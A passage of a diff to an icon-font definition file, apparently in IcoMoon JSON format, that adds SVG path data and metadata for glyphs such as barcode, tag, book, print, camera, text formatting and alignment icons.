877.143h-17.714v-804h17.714v804zM215.429 877.143h-17.714v-804h17.714v804zM305.143 877.143h-35.429v-804h35.429v804zM377.143 877.143h-17.714v-804h17.714v804zM413.143 877.143h-17.714v-804h17.714v804zM449.143 877.143h-17.714v-804h17.714v804zM538.857 877.143h-36v-804h36v804zM628.571 877.143h-36v-804h36v804zM700.571 877.143h-36v-804h36v804zM772.571 877.143h-36v-804h36v804zM826.286 877.143h-36v-804h36v804zM934.286 877.143h-53.714v-804h53.714v804zM970.286 877.143h-18.286v-804h18.286v804zM1024 877.714h-36v-804.571h36v804.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "barcode" + ], + "defaultCode": 61482, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "barcode", + "id": 43, + "order": 899, + "prevSize": 28, + "code": 61482 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 43 + }, + { + "icon": { + "paths": [ + "M256 256c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM865.714 585.143c0 19.429-8 38.286-21.143 51.429l-280.571 281.143c-13.714 13.143-32.571 21.143-52 21.143s-38.286-8-51.429-21.143l-408.571-409.143c-29.143-28.571-52-84-52-124.571v-237.714c0-40 33.143-73.143 73.143-73.143h237.714c40.571 0 96 22.857 125.143 52l408.571 408c13.143 13.714 21.143 32.571 21.143 52z" + ], + "width": 865.7188571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tag" + ], + "defaultCode": 61483, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "tag", + "id": 44, + "order": 900, + "prevSize": 28, + "code": 61483 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 44 + }, + { + "icon": { + "paths": [ + "M256 256c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM865.714 585.143c0 19.429-8 38.286-21.143 51.429l-280.571 281.143c-13.714 13.143-32.571 21.143-52 21.143s-38.286-8-51.429-21.143l-408.571-409.143c-29.143-28.571-52-84-52-124.571v-237.714c0-40 33.143-73.143 73.143-73.143h237.714c40.571 0 96 22.857 125.143 52l408.571 408c13.143 13.714 21.143 32.571 21.143 52zM1085.143 585.143c0 19.429-8 38.286-21.143 51.429l-280.571 281.143c-13.714 13.143-32.571 21.143-52 21.143-29.714 0-44.571-13.714-64-33.714l268.571-268.571c13.143-13.143 21.143-32 21.143-51.429s-8-38.286-21.143-52l-408.571-408c-29.143-29.143-84.571-52-125.143-52h128c40.571 0 96 22.857 125.143 52l408.571 408c13.143 13.714 21.143 32.571 21.143 52z" + ], + "width": 1085.1474285714285, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tags" + ], + "defaultCode": 61484, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "tags", + "id": 45, + "order": 901, + "prevSize": 28, + "code": 61484 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 45 + }, + { + "icon": { + "paths": [ + "M936.571 273.143c14.286 20.571 18.286 47.429 10.286 73.714l-157.143 517.714c-14.286 48.571-64.571 86.286-113.714 86.286h-527.429c-58.286 0-120.571-46.286-141.714-105.714-9.143-25.714-9.143-50.857-1.143-72.571 1.143-11.429 3.429-22.857 4-36.571 0.571-9.143-4.571-16.571-3.429-23.429 2.286-13.714 14.286-23.429 23.429-38.857 17.143-28.571 36.571-74.857 42.857-104.571 2.857-10.857-2.857-23.429 0-33.143 2.857-10.857 13.714-18.857 19.429-29.143 15.429-26.286 35.429-77.143 38.286-104 1.143-12-4.571-25.143-1.143-34.286 4-13.143 16.571-18.857 25.143-30.286 13.714-18.857 36.571-73.143 40-103.429 1.143-9.714-4.571-19.429-2.857-29.714 2.286-10.857 16-22.286 25.143-35.429 24-35.429 28.571-113.714 101.143-93.143l-0.571 1.714c9.714-2.286 19.429-5.143 29.143-5.143h434.857c26.857 0 50.857 12 65.143 32 14.857 20.571 18.286 47.429 10.286 74.286l-156.571 517.714c-26.857 88-41.714 107.429-114.286 107.429h-496.571c-7.429 0-16.571 1.714-21.714 8.571-4.571 6.857-5.143 12-0.571 24.571 11.429 33.143 50.857 40 82.286 40h527.429c21.143 0 45.714-12 52-32.571l171.429-564c3.429-10.857 3.429-22.286 2.857-32.571 13.143 5.143 25.143 13.143 33.714 24.571zM328.571 274.286c-3.429 10.286 2.286 18.286 12.571 18.286h347.429c9.714 0 20.571-8 24-18.286l12-36.571c3.429-10.286-2.286-18.286-12.571-18.286h-347.429c-9.714 0-20.571 8-24 18.286zM281.143 420.571c-3.429 10.286 2.286 18.286 12.571 18.286h347.429c9.714 0 20.571-8 24-18.286l12-36.571c3.429-10.286-2.286-18.286-12.571-18.286h-347.429c-9.714 0-20.571 8-24 18.286z" + ], + "width": 952.5394285714285, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "book" + ], + "defaultCode": 61485, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "book", + "id": 46, + "order": 902, + "prevSize": 28, + "code": 61485 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 46 + }, + { + "icon": { + "paths": [ + "M665.143 73.143c8.571 0 17.143 1.714 25.143 5.143 25.143 9.714 41.143 33.143 41.143 58.857v736.571c0 25.714-16 49.143-41.143 58.857-8 3.429-16.571 4.571-25.143 4.571-17.714 0-34.286-6.286-47.429-18.286l-252-242.286-252 242.286c-13.143 12-29.714 18.857-47.429 18.857-8.571 0-17.143-1.714-25.143-5.143-25.143-9.714-41.143-33.143-41.143-58.857v-736.571c0-25.714 16-49.143 41.143-58.857 8-3.429 16.571-5.143 25.143-5.143h598.857z" + ], + "width": 731.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bookmark" + ], + "defaultCode": 61486, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bookmark", + "id": 47, + "order": 903, + "prevSize": 28, + "code": 61486 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 47 + }, + { + "icon": { + "paths": [ + "M219.429 877.714h512v-146.286h-512v146.286zM219.429 512h512v-219.429h-91.429c-30.286 0-54.857-24.571-54.857-54.857v-91.429h-365.714v365.714zM877.714 548.571c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM950.857 548.571v237.714c0 9.714-8.571 18.286-18.286 18.286h-128v91.429c0 30.286-24.571 54.857-54.857 54.857h-548.571c-30.286 0-54.857-24.571-54.857-54.857v-91.429h-128c-9.714 0-18.286-8.571-18.286-18.286v-237.714c0-60 49.714-109.714 109.714-109.714h36.571v-310.857c0-30.286 24.571-54.857 54.857-54.857h384c30.286 0 72 17.143 93.714 38.857l86.857 86.857c21.714 21.714 38.857 63.429 38.857 93.714v146.286h36.571c60 0 109.714 49.714 109.714 109.714z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "print" + ], + "defaultCode": 61487, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "print", + "id": 48, + "order": 904, + "prevSize": 28, + "code": 61487 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 48 + }, + { + "icon": { + "paths": [ + "M548.571 384c90.857 0 164.571 73.714 164.571 164.571s-73.714 164.571-164.571 164.571-164.571-73.714-164.571-164.571 73.714-164.571 164.571-164.571zM950.857 146.286c80.571 0 146.286 65.714 146.286 146.286v512c0 80.571-65.714 146.286-146.286 146.286h-804.571c-80.571 0-146.286-65.714-146.286-146.286v-512c0-80.571 65.714-146.286 146.286-146.286h128l29.143-77.714c14.286-37.714 58.857-68.571 98.857-68.571h292.571c40 0 84.571 30.857 98.857 68.571l29.143 77.714h128zM548.571 804.571c141.143 0 256-114.857 256-256s-114.857-256-256-256-256 114.857-256 256 114.857 256 256 256z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "camera" + ], + "defaultCode": 61488, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "camera", + "id": 49, + "order": 905, + "prevSize": 28, + "code": 61488 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 49 + }, + { + "icon": { + "paths": [ + "M414.286 319.429l-97.143 257.143c56.571 0.571 113.143 2.286 169.714 2.286 10.857 0 21.714-0.571 32.571-1.143-29.714-86.857-64.571-175.429-105.143-258.286zM0 950.857l1.143-45.143c53.714-16.571 112-5.143 136-66.857l135.429-352 160-413.714h73.143c2.286 4 4.571 8 6.286 12l117.143 274.286c42.857 101.143 82.286 203.429 125.714 304 25.714 59.429 45.714 120.571 74.286 178.857 4 9.143 12 26.286 20 32.571 18.857 14.857 71.429 18.286 98.286 28.571 1.714 10.857 3.429 21.714 3.429 32.571 0 5.143-0.571 9.714-0.571 14.857-72.571 0-145.143-9.143-217.714-9.143-74.857 0-149.714 6.286-224.571 8.571 0-14.857 0.571-29.714 2.286-44.571l74.857-16c15.429-3.429 45.714-7.429 45.714-28.571 0-20.571-73.714-190.286-82.857-213.714l-257.143-1.143c-14.857 33.143-72.571 182.857-72.571 204.571 0 44 84 45.714 116.571 50.286 0.571 10.857 0.571 21.714 0.571 33.143 0 5.143-0.571 10.286-1.143 15.429-66.286 0-133.143-11.429-199.429-11.429-8 0-19.429 3.429-27.429 4.571-36 6.286-71.429 8-107.429 8z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "font" + ], + "defaultCode": 61489, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "font", + "id": 50, + "order": 906, + "prevSize": 28, + "code": 61489 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 50 + }, + { + "icon": { + "paths": [ + "M317.143 869.143c25.143 10.857 52.571 18.286 80 18.286 130.286 0 214.857-52 214.857-191.429 0-35.429-4.571-72.571-23.429-102.857-53.143-85.714-129.714-90.286-221.714-90.286-17.143 0-41.714 0-57.714 5.714 0 60.571-0.571 121.143-0.571 181.143 0 39.429-5.143 146.286 8.571 179.429zM309.143 442.857c20.571 3.429 41.714 4 62.286 4 117.714 0 201.714-33.143 201.714-165.143 0-111.429-98.857-149.714-194.286-149.714-25.143 0-49.714 3.429-74.286 7.429 0 57.714 4.571 115.429 4.571 173.143 0 30.286-0.571 60.571-0.571 90.857 0 13.143 0 26.286 0.571 39.429zM0 950.857l1.143-53.714c36.571-9.143 73.714-9.714 109.143-24.571 20-33.714 17.143-93.143 17.143-131.429 0-12.571 1.143-558.857-12.571-585.714-8.571-16.571-92.571-20.571-111.429-22.857l-2.286-47.429c136-2.286 272-12 407.429-12 25.714 0 52 0.571 77.714 0.571 129.143 0 271.429 61.714 271.429 210.286 0 102.286-77.714 140.571-158.286 177.143 108.571 24.571 205.143 98.286 205.143 218.286 0 196.571-178.857 261.714-346.286 261.714-50.286 0-100.571-3.429-150.857-3.429-102.286 0-205.714 9.143-307.429 13.143z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bold" + ], + "defaultCode": 61490, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bold", + "id": 51, + "order": 907, + "prevSize": 28, + "code": 61490 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 51 + }, + { + "icon": { + "paths": [ + "M0 949.714l9.714-48.571c36.571-11.429 76-16 110.286-33.714 13.143-16.571 19.429-37.714 23.429-57.714 7.429-38.857 132-599.429 130.286-645.143v-14.286c-31.429-17.143-69.714-12.571-104-18.286l10.857-58.857c73.714 3.429 148.571 9.143 222.857 9.143 60.571 0 121.143-5.714 181.714-9.143-2.286 17.143-6.286 34.286-10.857 50.857-39.429 13.714-81.143 20-120 35.429-12.571 30.857-15.429 64.571-21.143 97.143-27.429 148-64 296-94.286 442.857-5.714 27.429-33.714 141.143-31.429 165.143l0.571 10.286c34.857 8 70.286 12 105.714 17.714-1.143 18.857-4.571 37.714-9.143 56.571-12.571 0-24.571 1.714-37.143 1.714-32.571 0-66.286-10.857-98.857-11.429-39.429-0.571-78.857-1.143-117.714-1.143-50.857 0-100.571 8.571-150.857 11.429z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "italic" + ], + "defaultCode": 61491, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "italic", + "id": 52, + "order": 908, + "prevSize": 28, + "code": 61491 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 52 + }, + { + "icon": { + "paths": [ + "M996.571 804.571c25.143 0 33.143 16 17.714 36l-72 92.571c-15.429 20-40.571 20-56 0l-72-92.571c-15.429-20-7.429-36 17.714-36h45.714v-585.143h-45.714c-25.143 0-33.143-16-17.714-36l72-92.571c15.429-20 40.571-20 56 0l72 92.571c15.429 20 7.429 36-17.714 36h-45.714v585.143h45.714zM46.286 73.714l30.857 15.429c4 1.714 108.571 2.857 120.571 2.857 50.286 0 100.571-2.286 150.857-2.286 41.143 0 81.714 0.571 122.857 0.571h167.429c22.857 0 36 5.143 51.429-16.571l24-0.571c5.143 0 10.857 0.571 16 0.571 1.143 64 1.143 128 1.143 192 0 20 0.571 42.286-2.857 62.286-12.571 4.571-25.714 8.571-38.857 10.286-13.143-22.857-22.286-48-30.857-73.143-4-11.429-17.714-88.571-18.857-89.714-12-14.857-25.143-12-42.857-12-52 0-106.286-2.286-157.714 4-2.857 25.143-5.143 52-4.571 77.714 0.571 160.571 2.286 321.143 2.286 481.714 0 44-6.857 90.286 5.714 132.571 43.429 22.286 94.857 25.714 139.429 45.714 1.143 9.143 2.857 18.857 2.857 28.571 0 5.143-0.571 10.857-1.714 16.571l-19.429 0.571c-81.143 2.286-161.143-10.286-242.857-10.286-57.714 0-115.429 10.286-173.143 10.286-0.571-9.714-1.714-20-1.714-29.714v-5.143c21.714-34.857 100-35.429 136-56.571 12.571-28 10.857-182.857 10.857-218.857 0-115.429-3.429-230.857-3.429-346.286v-66.857c0-10.286 2.286-51.429-4.571-59.429-8-8.571-82.857-6.857-92.571-6.857-21.143 0-82.286 9.714-98.857 21.714-27.429 18.857-27.429 133.143-61.714 135.429-10.286-6.286-24.571-15.429-32-25.143v-218.857z" + ], + "width": 1029.7051428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "text-height" + ], + "defaultCode": 61492, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "text-height", + "id": 53, + "order": 909, + "prevSize": 28, + "code": 61492 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 53 + }, + { + "icon": { + "paths": [ + "M46.286 73.714l30.857 15.429c4 1.714 108.571 2.857 120.571 2.857 50.286 0 100.571-2.286 150.857-2.286 151.429 0 304.571-3.429 456 1.714 12.571 0.571 24.571-7.429 32-17.714l24-0.571c5.143 0 10.857 0.571 16 0.571 1.143 64 1.143 128 1.143 192 0 20.571 0.571 42.286-2.857 62.286-12.571 4.571-25.714 8.571-38.857 10.286-13.143-22.857-22.286-48-30.857-73.143-4-11.429-18.286-88.571-18.857-89.714-4-5.143-9.143-8.571-15.429-10.857-4.571-1.714-32-1.143-37.714-1.143-70.286 0-151.429-4-220.571 4-2.857 25.143-5.143 52-4.571 77.714l0.571 86.857v-29.714c0.571 93.143 1.714 185.714 1.714 278.286 0 44-6.857 90.286 5.714 132.571 43.429 22.286 94.857 25.714 139.429 45.714 1.143 9.143 2.857 18.857 2.857 28.571 0 5.143-0.571 10.857-1.714 16.571l-19.429 0.571c-81.143 2.286-161.143-10.286-242.857-10.286-57.714 0-115.429 10.286-173.143 10.286-0.571-9.714-1.714-20-1.714-29.714v-5.143c21.714-34.857 100-35.429 136-56.571 14.286-32 10.286-302.286 10.286-352.571 0-8-2.857-16.571-2.857-25.143 0-23.429 4-157.714-4.571-167.429-8-8.571-82.857-6.857-92.571-6.857-24 0-158.286 12.571-172 21.714-26.857 17.714-27.429 132.571-61.714 135.429-10.286-6.286-24.571-15.429-32-25.143v-218.857zM748.571 806.286c20 0 96 68 111.429 80 8.571 6.857 14.857 16.571 14.857 28s-6.286 21.143-14.857 28c-15.429 12-91.429 80-111.429 80-26.286 0-17.143-61.143-17.143-71.429h-585.143c0 10.286 9.143 71.429-17.143 71.429-20 0-96-68-111.429-80-8.571-6.857-14.857-16.571-14.857-28s6.286-21.143 14.857-28c15.429-12 91.429-80 111.429-80 26.286 0 17.143 61.143 17.143 71.429h585.143c0-10.286-9.143-71.429 17.143-71.429z" + ], + "width": 878.2994285714285, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "text-width" + ], + "defaultCode": 61493, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "text-width", + "id": 54, + "order": 910, + "prevSize": 28, + "code": 61493 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 54 + }, + { + "icon": { + "paths": [ + "M1024 768v73.143c0 20-16.571 36.571-36.571 36.571h-950.857c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h950.857c20 0 36.571 16.571 36.571 36.571zM804.571 548.571v73.143c0 20-16.571 36.571-36.571 36.571h-731.429c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h731.429c20 0 36.571 16.571 36.571 36.571zM950.857 329.143v73.143c0 20-16.571 36.571-36.571 36.571h-877.714c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h877.714c20 0 36.571 16.571 36.571 36.571zM731.429 109.714v73.143c0 20-16.571 36.571-36.571 36.571h-658.286c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h658.286c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "align-left" + ], + "defaultCode": 61494, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "align-left", + "id": 55, + "order": 911, + "prevSize": 28, + "code": 61494 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 55 + }, + { + "icon": { + "paths": [ + "M1024 768v73.143c0 20-16.571 36.571-36.571 36.571h-950.857c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h950.857c20 0 36.571 16.571 36.571 36.571zM804.571 548.571v73.143c0 20-16.571 36.571-36.571 36.571h-512c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h512c20 0 36.571 16.571 36.571 36.571zM950.857 329.143v73.143c0 20-16.571 36.571-36.571 36.571h-804.571c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h804.571c20 0 36.571 16.571 36.571 36.571zM731.429 109.714v73.143c0 20-16.571 36.571-36.571 36.571h-365.714c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h365.714c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "align-center" + ], + "defaultCode": 61495, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "align-center", + "id": 56, + "order": 912, + "prevSize": 28, + "code": 61495 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 56 + }, + { + "icon": { + "paths": [ + "M1024 768v73.143c0 20-16.571 36.571-36.571 36.571h-950.857c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h950.857c20 0 36.571 16.571 36.571 36.571zM1024 548.571v73.143c0 20-16.571 36.571-36.571 36.571h-731.429c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h731.429c20 0 36.571 16.571 36.571 36.571zM1024 329.143v73.143c0 20-16.571 36.571-36.571 36.571h-877.714c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h877.714c20 0 36.571 16.571 36.571 36.571zM1024 109.714v73.143c0 20-16.571 36.571-36.571 36.571h-658.286c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h658.286c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "align-right" + ], + "defaultCode": 61496, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "align-right", + "id": 57, + "order": 913, + "prevSize": 28, + "code": 61496 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 57 + }, + { + "icon": { + "paths": [ + "M1024 768v73.143c0 20-16.571 36.571-36.571 36.571h-950.857c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h950.857c20 0 36.571 16.571 36.571 36.571zM1024 548.571v73.143c0 20-16.571 36.571-36.571 36.571h-950.857c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h950.857c20 0 36.571 16.571 36.571 36.571zM1024 329.143v73.143c0 20-16.571 36.571-36.571 36.571h-950.857c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h950.857c20 0 36.571 16.571 36.571 36.571zM1024 109.714v73.143c0 20-16.571 36.571-36.571 36.571h-950.857c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h950.857c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "align-justify" + ], + "defaultCode": 61497, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "align-justify", + "id": 58, + "order": 914, + "prevSize": 28, + "code": 61497 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 58 + }, + { + "icon": { + "paths": [ + "M146.286 749.714v109.714c0 9.714-8.571 18.286-18.286 18.286h-109.714c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h109.714c9.714 0 18.286 8.571 18.286 18.286zM146.286 530.286v109.714c0 9.714-8.571 18.286-18.286 18.286h-109.714c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h109.714c9.714 0 18.286 8.571 18.286 18.286zM146.286 310.857v109.714c0 9.714-8.571 18.286-18.286 18.286h-109.714c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h109.714c9.714 0 18.286 8.571 18.286 18.286zM1024 749.714v109.714c0 9.714-8.571 18.286-18.286 18.286h-768c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h768c9.714 0 18.286 8.571 18.286 18.286zM146.286 91.429v109.714c0 9.714-8.571 18.286-18.286 18.286h-109.714c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h109.714c9.714 0 18.286 8.571 18.286 18.286zM1024 530.286v109.714c0 9.714-8.571 18.286-18.286 18.286h-768c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h768c9.714 0 18.286 8.571 18.286 18.286zM1024 310.857v109.714c0 9.714-8.571 18.286-18.286 18.286h-768c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h768c9.714 0 18.286 8.571 18.286 18.286zM1024 91.429v109.714c0 9.714-8.571 18.286-18.286 18.286h-768c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h768c9.714 0 18.286 8.571 18.286 18.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "list" + ], + "defaultCode": 61498, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "list", + "id": 59, + "order": 915, + "prevSize": 28, + "code": 61498 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 59 + }, + { + "icon": { + "paths": [ + "M219.429 310.857v329.143c0 9.714-8.571 18.286-18.286 18.286-4.571 0-9.714-1.714-13.143-5.143l-164.571-164.571c-3.429-3.429-5.143-8.571-5.143-13.143s1.714-9.714 5.143-13.143l164.571-164.571c3.429-3.429 8.571-5.143 13.143-5.143 9.714 0 18.286 8.571 18.286 18.286zM1024 749.714v109.714c0 9.714-8.571 18.286-18.286 18.286h-987.429c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h987.429c9.714 0 18.286 8.571 18.286 18.286zM1024 530.286v109.714c0 9.714-8.571 18.286-18.286 18.286h-621.714c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h621.714c9.714 0 18.286 8.571 18.286 18.286zM1024 310.857v109.714c0 9.714-8.571 18.286-18.286 18.286h-621.714c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h621.714c9.714 0 18.286 8.571 18.286 18.286zM1024 91.429v109.714c0 9.714-8.571 18.286-18.286 18.286h-987.429c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h987.429c9.714 0 18.286 8.571 18.286 18.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "dedent", + "outdent" + ], + "defaultCode": 61499, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "dedent, outdent", + "id": 60, + "order": 916, + "prevSize": 28, + "code": 61499 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 60 + }, + { + "icon": { + "paths": [ + "M201.143 475.429c0 4.571-1.714 9.714-5.143 13.143l-164.571 164.571c-3.429 3.429-8.571 5.143-13.143 5.143-9.714 0-18.286-8.571-18.286-18.286v-329.143c0-9.714 8.571-18.286 18.286-18.286 4.571 0 9.714 1.714 13.143 5.143l164.571 164.571c3.429 3.429 5.143 8.571 5.143 13.143zM1024 749.714v109.714c0 9.714-8.571 18.286-18.286 18.286h-987.429c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h987.429c9.714 0 18.286 8.571 18.286 18.286zM1024 530.286v109.714c0 9.714-8.571 18.286-18.286 18.286h-621.714c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h621.714c9.714 0 18.286 8.571 18.286 18.286zM1024 310.857v109.714c0 9.714-8.571 18.286-18.286 18.286h-621.714c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h621.714c9.714 0 18.286 8.571 18.286 18.286zM1024 91.429v109.714c0 9.714-8.571 18.286-18.286 18.286h-987.429c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h987.429c9.714 0 18.286 8.571 18.286 18.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "indent" + ], + "defaultCode": 61500, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "indent", + "id": 61, + "order": 917, + "prevSize": 28, + "code": 61500 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 61 + }, + { + "icon": { + "paths": [ + "M1024 201.143v621.714c0 14.857-9.143 28-22.286 33.714-4.571 1.714-9.714 2.857-14.286 2.857-9.714 0-18.857-3.429-25.714-10.857l-230.286-230.286v94.857c0 90.857-73.714 164.571-164.571 164.571h-402.286c-90.857 0-164.571-73.714-164.571-164.571v-402.286c0-90.857 73.714-164.571 164.571-164.571h402.286c90.857 0 164.571 73.714 164.571 164.571v94.286l230.286-229.714c6.857-7.429 16-10.857 25.714-10.857 4.571 0 9.714 1.143 14.286 2.857 13.143 5.714 22.286 18.857 22.286 33.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "video-camera" + ], + "defaultCode": 61501, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "video-camera", + "id": 62, + "order": 918, + "prevSize": 28, + "code": 61501 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 62 + }, + { + "icon": { + "paths": [ + "M365.714 329.143c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714 109.714 49.143 109.714 109.714zM950.857 548.571v256h-804.571v-109.714l182.857-182.857 91.429 91.429 292.571-292.571zM1005.714 146.286h-914.286c-9.714 0-18.286 8.571-18.286 18.286v694.857c0 9.714 8.571 18.286 18.286 18.286h914.286c9.714 0 18.286-8.571 18.286-18.286v-694.857c0-9.714-8.571-18.286-18.286-18.286zM1097.143 164.571v694.857c0 50.286-41.143 91.429-91.429 91.429h-914.286c-50.286 0-91.429-41.143-91.429-91.429v-694.857c0-50.286 41.143-91.429 91.429-91.429h914.286c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "image", + "photo", + "picture-o" + ], + "defaultCode": 61502, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "image, photo, picture-o", + "id": 63, + "order": 919, + "prevSize": 28, + "code": 61502 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 63 + }, + { + "icon": { + "paths": [ + "M207.429 877.714l52-52-134.286-134.286-52 52v61.143h73.143v73.143h61.143zM506.286 347.429c0-7.429-5.143-12.571-12.571-12.571-3.429 0-6.857 1.143-9.714 4l-309.714 309.714c-2.857 2.857-4 6.286-4 9.714 0 7.429 5.143 12.571 12.571 12.571 3.429 0 6.857-1.143 9.714-4l309.714-309.714c2.857-2.857 4-6.286 